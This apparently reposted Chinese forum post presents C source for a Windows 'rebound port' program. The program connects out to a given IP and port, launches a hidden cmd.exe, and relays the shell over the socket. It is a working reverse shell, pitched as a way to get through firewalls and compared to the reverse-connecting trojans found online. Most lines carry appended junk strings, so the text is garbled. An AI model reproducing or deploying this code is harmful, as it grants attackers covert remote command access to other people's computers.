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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )3)fq:[  
_16r8r$V  
/* ============================== *XluVochrb  
Rebound port in Windows NT dwUs[v   
By wind,2006/7 .|2[! 7CXH  
===============================*/ z_nY>_L83*  
#include IMHt#M`  
#include K5(:0Q.5y  
uP2Wy3`V  
#pragma comment(lib,"wsock32.lib") KzLkT7,y+  
qXB5wDJg  
void OutputShell(); x8RiYi+  
SOCKET sClient; e+wINW  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _/h<4G6A  
a} :2lL%  
void main(int argc,char **argv) D<Z]kR(  
{ #8a k=lL  
WSADATA stWsaData; -@mcu{&  
int nRet; G,,f' >  
SOCKADDR_IN stSaiClient,stSaiServer; d+&w7/F  
4-W~ 1  
if(argc != 3) Ew&|!d  
{ @eN,m {b  
printf("Useage:\n\rRebound DestIP DestPort\n"); J?qikE&  
return; !'kr:r}gg  
} ;^  YpQP  
}n?D#Pk,  
WSAStartup(MAKEWORD(2,2),&stWsaData); 88A,ll%  
q$jwH] .  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PS`F  
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stSaiClient.sin_family = AF_INET; iq3TP5%i  
stSaiClient.sin_port = htons(0); 7$Pf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -n6e;p]  
He}"e&K  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h%Uq  
{ (T =u_oe  
printf("Bind Socket Failed!\n"); MQl GEJ  
return; LCok4N$o  
} D #C\| E:  
c) _u^Dh  
stSaiServer.sin_family = AF_INET; 8l>YpS*S^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /O[ Z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eY3<LVAX  
gmtS3,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K,@} 'N  
{ C@@PLsMg  
printf("Connect Error!"); D1Q]Z63,  
return; ]|B_3* A  
} p}|<EL}Z9  
OutputShell(); H.)J?3  
} >\!k~Zi  
^6PKSEba  
void OutputShell() ->J5|c#  
{ *!`bC@E  
char szBuff[1024]; y+$a}=cb0  
SECURITY_ATTRIBUTES stSecurityAttributes; Ba9"IXKH  
OSVERSIONINFO stOsversionInfo; }C5Fvy6uz  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /_tN&[  
STARTUPINFO stStartupInfo; <(BIWm*  
char *szShell; ])vqXjN6"  
PROCESS_INFORMATION stProcessInformation; 8hZc#b;  
unsigned long lBytesRead; 8FgF6ip  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )4jS}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s"X0Jx}  
stSecurityAttributes.lpSecurityDescriptor = 0; X92I==-w  
stSecurityAttributes.bInheritHandle = TRUE; nC#SnyUO  
{"\pMY'7  
Fhs/<w-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _`xhP-,`S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s~g]`/h$r  
U DHMNubB  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #kAk d-QY6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; , 4@C%  
stStartupInfo.wShowWindow = SW_HIDE; *)Pb-c  
stStartupInfo.hStdInput = hReadPipe; VoNk.h"T  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K9S(Xip  
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GetVersionEx(&stOsversionInfo); +A2}@k   
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switch(stOsversionInfo.dwPlatformId) 9oVprd >%@  
{ pB,l t6  
case 1: +(oExp(!  
szShell = "command.com"; &}VVr  
break; ,/UuXX  
default: ab*O7v  
szShell = "cmd.exe"; W(PNw2  
break; u\=yY.   
} &&te(DC\  
pwo @ S"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); - 4B&{P  
h]k1vp)Q y  
send(sClient,szMsg,77,0); ^6 \@$   
while(1) Uk4G9}I  
{ x6 h53R  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Gvc/o$_  
if(lBytesRead) M(W-\ L  
{ NeniQeR   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S,RC;D7  
send(sClient,szBuff,lBytesRead,0); I<hMS6$<LE  
} 7:wf!\@ I  
else 3s_$.  
{ |7b@w;q,D  
lBytesRead=recv(sClient,szBuff,1024,0); OdtS5:L  
if(lBytesRead<=0) break; q=+wQ[a<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); EK zYL#(i  
} i [6oqZ  
} .'S_9le  
&e5,\TQ  
return; 5>rjL ;  
}
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